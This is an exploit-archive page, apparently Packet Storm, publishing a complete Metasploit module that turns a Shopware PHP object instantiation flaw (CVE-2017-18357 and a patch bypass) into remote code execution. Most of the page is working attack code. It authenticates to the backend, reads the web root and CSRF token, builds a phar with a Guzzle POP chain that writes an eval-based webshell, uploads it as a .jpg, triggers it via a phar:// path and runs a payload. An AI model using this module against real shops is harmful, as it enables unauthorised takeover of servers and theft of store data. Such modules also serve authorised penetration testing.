exploit the possibilities

Shopware createInstanceFromNamedArguments PHP Object Instantiation

Shopware createInstanceFromNamedArguments PHP Object Instantiation
Posted May 22, 2019
Authored by mr_me, Karim Ouerghemmi | Site metasploit.com

This Metasploit module exploits a php object instantiation vulnerability that can lead to remote code execution in Shopware. An authenticated backend user could exploit the vulnerability. The vulnerability exists in the createInstanceFromNamedArguments function, where the code insufficiently performs whitelist check which can be bypassed to trigger an object injection. An attacker can leverage this to deserialize an arbitrary payload and write a webshell to the target system, resulting in remote code execution. Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.

tags | exploit, remote, arbitrary, php, code execution
advisories | CVE-2017-18357
MD5 | a99c1e8083c3f15ba37bddffdcfae6ae

Shopware createInstanceFromNamedArguments PHP Object Instantiation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",
'Description' => %q(
This module exploits a php object instantiation vulnerability that can lead to RCE in
Shopware. An authenticated backend user could exploit the vulnerability.

The vulnerability exists in the createInstanceFromNamedArguments function, where the code
insufficiently performs whitelist check which can be bypassed to trigger an object injection.

An attacker can leverage this to deserialize an arbitrary payload and write a webshell to
the target system, resulting in remote code execution.

Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Karim Ouerghemmi', # original discovery
'mr_me <steven@srcincite.io>', # patch bypass, rce & msf module
],
'References' =>
[
['CVE', '2017-18357'], # not really because we bypassed this patch
['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/'] # initial writeup w/ limited exploitation
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "May 09 2019",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "Base Shopware path", '/']),
OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']),
OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo'])
]
)
end

def do_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
if res.nil?
return
end
return cookie
end
return
end

def get_webroot(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),
'cookie' => cookie
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first
end
return
end

def leak_csrf(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),
'cookie' => cookie
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
if res.headers.include?('X-Csrf-Token')
return res.headers['X-Csrf-Token']
end
end
return
end

def generate_phar(webroot)
php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")
register_file_for_cleanup("#{@shll_bd}.php")
pop = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"
pop << "s:#{php.length}:\"#{php}\";"
pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"
pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";"
pop << "a:3:{s:5:\"Value\";"
pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"
pop << "s:7:\"Expires\";"
pop << "b:1;"
pop << "s:7:\"Discard\";"
pop << "b:0;}}}}"
file = Rex::Text.rand_text_alpha_lower(8)
stub = "<?php __HALT_COMPILER(); ?>\r\n"
file_contents = Rex::Text.rand_text_alpha_lower(20)
file_crc32 = Zlib::crc32(file_contents) & 0xffffffff
manifest_len = 40 + pop.length + file.length
phar = stub
phar << [manifest_len].pack('V') # length of manifest in bytes
phar << [0x1].pack('V') # number of files in the phar
phar << [0x11].pack('v') # api version of the phar manifest
phar << [0x10000].pack('V') # global phar bitmapped flags
phar << [0x0].pack('V') # length of phar alias
phar << [pop.length].pack('V') # length of phar metadata
phar << pop # pop chain
phar << [file.length].pack('V') # length of filename in the archive
phar << file # filename
phar << [file_contents.length].pack('V') # length of the uncompressed file contents
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
phar << [file_contents.length].pack('V') # length of the compressed file contents
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
phar << [0x1b6].pack('V') # bit-mapped file-specific flags
phar << [0x0].pack('V') # serialized File Meta-data length
phar << file_contents # serialized File Meta-data
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
phar << [0x2].pack('V') # signiture type
phar << "GBMB" # signature presence
return phar
end

def upload(cookie, csrf_token, phar)
data = Rex::MIME::Message.new
data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie,
'headers' => {
'X-CSRF-Token' => csrf_token
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200 && res.body =~ /Image is not in a recognized format/i
return true
end
return
end

def leak_upload(cookie, csrf_token)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),
'cookie' => cookie,
'headers' => {
'X-CSRF-Token' => csrf_token
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i
bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/
register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")
return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"
end
return
end

def trigger_bug(cookie, csrf_token, upload_path)
sort = {
"Shopware_Components_CsvIterator" => {
"filename" => "phar://#{upload_path}",
"delimiter" => "",
"header" => ""
}
}
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
'cookie' => cookie,
'headers' => {
'X-CSRF-Token' => csrf_token
},
'vars_get' => { 'sort' => sort.to_json }
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
return
end

def exec_code
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
}, 1)
end

def check
cookie = do_login
if cookie.nil?
vprint_error "Authentication was unsuccessful"
return Exploit::CheckCode::Safe
end
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
vprint_error "Unable to leak the CSRF token"
return Exploit::CheckCode::Safe
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
'cookie' => cookie,
'headers' => { 'X-CSRF-Token' => csrf_token }
)
if res.code == 200 && res.body =~ /Shop not found/i
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
@phar_bd = Rex::Text.rand_text_alpha_lower(8)
@shll_bd = Rex::Text.rand_text_alpha_lower(8)
@header = Rex::Text.rand_text_alpha_upper(2)
cookie = do_login
if cookie.nil?
fail_with(Failure::NoAccess, "Authentication was unsuccessful")
end
print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")
web_root = get_webroot(cookie)
if web_root.nil?
fail_with(Failure::Unknown, "Unable to leak the webroot")
end
print_good("Stage 2 - leaked the web root: #{web_root}")
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
fail_with(Failure::Unknown, "Unable to leak the CSRF token")
end
print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
phar = generate_phar(web_root)
print_good("Stage 4 - generated our phar")
if !upload(cookie, csrf_token, phar)
fail_with(Failure::Unknown, "Unable to upload phar archive")
end
print_good("Stage 5 - uploaded phar")
upload_path = leak_upload(cookie, csrf_token)
if upload_path.nil?
fail_with(Failure::Unknown, "Cannot find phar archive")
end
print_good("Stage 6 - leaked phar location: #{upload_path}")
trigger_bug(cookie, csrf_token, upload_path)
print_good("Stage 7 - triggered object instantiation!")
exec_code
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    19 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close